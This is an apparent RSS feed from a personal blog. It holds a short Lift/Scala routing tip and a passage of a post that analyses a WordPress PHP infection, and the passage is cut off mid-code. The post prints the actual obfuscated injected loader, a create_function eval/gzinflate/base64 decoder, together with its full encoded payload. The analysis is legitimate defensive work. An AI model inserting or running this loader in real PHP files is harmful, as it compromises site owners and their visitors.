<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Bubble Foundry</title>
	<atom:link href="http://www.bubblefoundry.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bubblefoundry.com</link>
	<description></description>
	<lastBuildDate>Wed, 16 May 2012 22:57:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
	<atom:link rel='hub' href='http://www.bubblefoundry.com/?pushpress=hub'/>
		<item>
		<title>Using Lift&#8217;s Menu.params</title>
		<link>http://www.bubblefoundry.com/blog/2012/05/using-lifts-menu-params/</link>
		<comments>http://www.bubblefoundry.com/blog/2012/05/using-lifts-menu-params/#comments</comments>
		<pubDate>Wed, 16 May 2012 22:57:16 +0000</pubDate>
		<dc:creator>Peter</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Lift]]></category>
		<category><![CDATA[menus]]></category>
		<category><![CDATA[routing]]></category>
		<category><![CDATA[Scala]]></category>

		<guid isPermaLink="false">http://www.bubblefoundry.com/?p=980</guid>
		<description><![CDATA[Quick note for fellow Lift developers: I was happily using a Menu.param when I decided to use a Menu.params instead (see the ScalaDocs) in the hopes of both more descriptive URLs and less to calculate on the actual page. While implementing it wasn&#8217;t too hard, my new URL pattern for the menu entry was a [...]]]></description>
			<content:encoded><![CDATA[<p>Quick note for fellow <a href="http://www.liftweb.net">Lift</a> developers: I was happily using a <code>Menu.param</code> when I decided to use a <code>Menu.params</code> instead (<a href="http://scala-tools.org/mvnsites/liftweb-2.4/#net.liftweb.sitemap.Menu$">see the ScalaDocs</a>) in the hopes of both more descriptive URLs and less to calculate on the actual page. While implementing it wasn&#8217;t too hard, my new URL pattern for the menu entry was a little complicated:</p>

<div class="wp_syntax"><div class="code"><pre class="scala" style="font-family:monospace;">Menu.<span style="color: #000000;">params</span><span style="color: #F78811;">&#91;</span>MyObject<span style="color: #F78811;">&#93;</span><span style="color: #F78811;">&#40;</span>
  ...
<span style="color: #F78811;">&#41;</span> / <span style="color: #6666FF;">&quot;something&quot;</span> / <span style="color: #000080;">*</span> / <span style="color: #000080;">*</span> / <span style="color: #6666FF;">&quot;to&quot;</span> / <span style="color: #000080;">*</span></pre></div></div>

<p>I had a <code>something.html</code> Template but it wasn&#8217;t getting picked up and I was getting a weird <code>0</code> (yes, zero) status code returned when I requested the page, with the <code>MyObject</code> being initialized correctly.</p>
<p>The solution I came up with was to manually specify the Template for the Menu:</p>

<div class="wp_syntax"><div class="code"><pre class="scala" style="font-family:monospace;">Menu.<span style="color: #000000;">params</span><span style="color: #F78811;">&#91;</span>MyObject<span style="color: #F78811;">&#93;</span><span style="color: #F78811;">&#40;</span>
  ...
<span style="color: #F78811;">&#41;</span> / <span style="color: #6666FF;">&quot;something&quot;</span> / <span style="color: #000080;">*</span> / <span style="color: #000080;">*</span> / <span style="color: #6666FF;">&quot;to&quot;</span> / <span style="color: #000080;">*</span> <span style="color: #000080;">&gt;&gt;</span> Loc.<span style="color: #000000;">Template</span><span style="color: #F78811;">&#40;</span>
  <span style="color: #F78811;">&#40;</span><span style="color: #F78811;">&#41;</span> <span style="color: #000080;">=&gt;</span> Templates<span style="color: #F78811;">&#40;</span>List<span style="color: #F78811;">&#40;</span><span style="color: #6666FF;">&quot;comparison&quot;</span><span style="color: #F78811;">&#41;</span><span style="color: #F78811;">&#41;</span> openOr <span style="color: #000080;">&lt;</span>div<span style="color: #000080;">&gt;</span>Couldn<span style="color: #6666FF;">'t find template&lt;/div&gt;
)</span></pre></div></div>

<p>Thought it was worth sharing&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblefoundry.com/blog/2012/05/using-lifts-menu-params/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Deconstructing a WordPress PHP Infection</title>
		<link>http://www.bubblefoundry.com/blog/2012/05/deconstruction-a-wordpress-php-infection/</link>
		<comments>http://www.bubblefoundry.com/blog/2012/05/deconstruction-a-wordpress-php-infection/#comments</comments>
		<pubDate>Fri, 11 May 2012 17:52:07 +0000</pubDate>
		<dc:creator>Peter</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[infection]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.bubblefoundry.com/?p=968</guid>
		<description><![CDATA[I spent this morning cleaning up infected PHP files (yet another reason why I think WordPress needs to die), but in doing so I got to see lots of infected code. By that I mean that things like the following were inserted at the top of existing PHP files on this server anything else: 1 [...]]]></description>
			<content:encoded><![CDATA[<p>I spent this morning cleaning up infected PHP files (yet another reason why I think WordPress needs to die), but in doing so I got to see lots of infected code. By that I mean that things like the following were inserted at the top of existing PHP files on this server anything else:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$md5</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;1832d01240393a8ad1834574cf261cbb&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$wp_salt</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'6'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;4&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'b'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;$&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;v&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;(&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;a&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;l&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'g'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'s'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">')'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">';'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;o&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'d'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;r&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'c'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;_&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'i'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;e&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;n&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;z&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'t'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$wp_add_filter</span> <span style="color: #339933;">=</span> <span style="color: #990000;">create_function</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'$'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'v'</span><span style="color: #339933;">,</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">18</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">4</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">6</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">7</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">5</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">8</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">21</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">17</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">19</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">20</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">7</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">6</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">22</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">18</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">5</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">6</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">9</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">18</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">16</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">13</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">18</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">15</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">12</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">13</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">18</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">5</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">4</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">10</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">10</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">10</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">11</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$wp_add_filter</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'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'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p><strong>NOTE: This is an actual example, so I wouldn&#8217;t go around running this code!</strong></p>
<p>So, what&#8217;s going on here? Let&#8217;s walk through it line by line and see what&#8217;s happening.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>2
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$md5</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;1832d01240393a8ad1834574cf261cbb&quot;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Well, this one claims to be an MD5 hash. It doesn&#8217;t seem to be used in the rest of the code, so I assume it is one. It is presumably a version number for the virus or for the file it has infected.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$wp_salt</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'6'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;4&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'b'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;$&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;v&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;(&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;a&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;l&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'g'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'s'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">')'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">';'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;o&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'d'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;r&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'c'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;_&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'i'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;e&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;n&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;z&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'t'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Here we have a variable called <code>$wp_salt</code> which is an array of strings, specifically of individual characters. This <code>wp_</code> naming convention is repeated throughout the malicious code, and reminds me of <strong>W</strong>ord<strong>P</strong>ress. Sure enough, there is a function in the <a href="https://codex.wordpress.org/WordPress_API%27s">WordPress API</a> called <a href="https://codex.wordpress.org/Function_Reference/wp_salt"><code>wp_salt()</code></a>. This also is a clue of what&#8217;s going on, as if you search wordpress.org for <code>wp_salt</code> you&#8217;ll find other people <a href="https://wordpress.org/support/topic/hacked-with-seo-spam">reporting similar infections</a>.</p>
<p>So we have something that&#8217;s pretending to be from WordPress, presumably so an inexperienced viewer won&#8217;t delete the source code when they see it, since they will assume that it&#8217;s part of their WordPress blog. It&#8217;s looks like a bunch of random characters, especially since not all letters or numbers are in the array. However, we can see how it&#8217;s used in the next line:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$wp_add_filter</span> <span style="color: #339933;">=</span> <span style="color: #990000;">create_function</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'$'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'v'</span><span style="color: #339933;">,</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">18</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">4</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">6</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: 